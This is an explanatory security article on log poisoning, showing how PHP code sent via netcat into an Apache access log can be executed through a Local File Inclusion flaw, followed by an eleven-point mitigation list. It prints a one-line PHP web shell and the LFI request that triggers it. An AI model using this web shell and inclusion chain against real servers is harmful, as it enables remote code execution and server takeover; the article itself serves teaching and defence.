What Is Log Poisoning?

Logs are records generated by various software applications, operating systems, and network devices to keep track of events and activities. They are essential for monitoring, troubleshooting, and security analysis. Log poisoning typically refers to malicious activities or techniques aimed at manipulating or contaminating log files in computer systems.

Log poisoning involves attempting to compromise the integrity of these logs by injecting false or misleading information, altering timestamps, or manipulating the content in a way that misleads administrators or security personnel.

Log poisoning can be used as part of a broader attack strategy to cover the tracks of unauthorized access or to create confusion during an investigation. Security measures such as log integrity checks, secure logging practices, and regular monitoring are crucial to detect and prevent log poisoning attempts.

If an attacker can inject logs with malicious code that causes a Local File Inclusion (LFI) vulnerability, it would result in unauthorized Remote Code Execution (RCE), and sensitive data exposure. This might lead to a total compromise of the web server or the machine on which the web server is running.

How Is It Done?

The Log Poisoning technique is particularly stealthy because log files are shared and are a seemingly harmless part of web server operations. In a log poisoning attack, the attacker must first inject malicious PHP code into a log file. This can be done in various ways, such as:

  • Modifying the user agent with an evil payload
  • Using NetCat to send a malicious file via URL
  • Sending a malicious payload as part of the referrer header

For example, if an attacker sends a Netcat request to the vulnerable machine containing a PHP code:

$ nc 10.10.10.10 80      
<?php echo phpinfo(); ?>
HTTP/1.1 400 Bad Request
Date: Thu, 23 Nov 2023 05:39:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 335
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.10.10.eu-west-1.compute.internal Port 80</address>
</body></html>

Instead of just using the php code that just displays phpInfo page, an attacker can use a web shell instead which would give him RCE.

An example of a web shell code can be seen below:

<?php system($_GET["cmd"]); ?>

The attacker then uses LFI to include the access log file:

?page=/var/log/apache2/access.log&cmd=id

The code will then be logged in the server’s access logs.

Apache access log containing the injected PHP code

The attacker then uses LFI to include the access log file: ?page=/var/log/apache2/access.log

Injected PHP code in the web access log has been executed

Mitigation


Mitigating log poisoning involves implementing a combination of preventive measures, monitoring practices, and response strategies to ensure the integrity of log files. Here are several recommendations to help mitigate the risk of log poisoning:

  1. Secure Logging Practices:
    • Use secure logging libraries and frameworks that handle input validation and sanitation to prevent injection attacks.
    • Validate and sanitize user inputs before logging them to ensure that malicious data cannot manipulate log entries.
  2. Access Control:
    • Implement strong access controls to restrict unauthorized access to log files.
    • Limit user privileges, and ensure that only authorized personnel can modify or delete log files.
  3. Encryption:
    • Encrypt log files or use encrypted channels for log transmission to protect against tampering during storage or transit.
  4. Regular Monitoring:
    • Establish a routine for monitoring and reviewing log files for suspicious activities or anomalies.
    • Set up alerts for unusual patterns, unexpected log entries, or unauthorized access to log files.
  5. Log Integrity Checks:
    • Implement log integrity checks to detect any modifications or inconsistencies in log files.
    • Hashing or digital signatures can be used to verify the integrity of log entries.
  6. Centralized Logging:
    • Use centralized logging solutions to consolidate logs from different systems.
    • Centralization can simplify monitoring and analysis, making it easier to detect anomalies across the entire infrastructure.
  7. Timestamp Verification:
    • Regularly verify and cross-reference timestamps within log files to ensure consistency.
    • Anomalies in timestamps may indicate tampering or manipulation.
  8. Regular Auditing:
    • Conduct regular security audits to identify vulnerabilities and address them promptly.
    • Include log management and monitoring in the audit process to ensure their effectiveness.
  9. Incident Response Plan:
    • Develop and maintain an incident response plan that includes procedures for handling log-related incidents.
    • Train staff on how to respond to log poisoning incidents promptly and effectively.
  10. Keep Software Updated:
    • Ensure that all software, including logging tools and frameworks, is up-to-date with the latest security patches.
    • Regularly update and patch the operating system and any dependencies.
  11. User Training and Awareness:
    • Educate users and administrators about the importance of log security.
    • Raise awareness about common attack vectors, such as log poisoning, and provide guidance on secure practices.

By combining these measures, organizations can significantly reduce the risk of log poisoning and enhance the overall security of their systems. It’s important to adopt a proactive approach to security and regularly reassess and update security practices in response to evolving threats.

Conclusion

Log poisoning involves manipulating or injecting false information into log files to mislead or compromise the integrity of the logs. The methods used for log poisoning can vary, and attackers may employ different techniques based on the vulnerabilities or weaknesses present in the target system. By combining the mitigation techniques mentioned above, log poisoning can be prevented.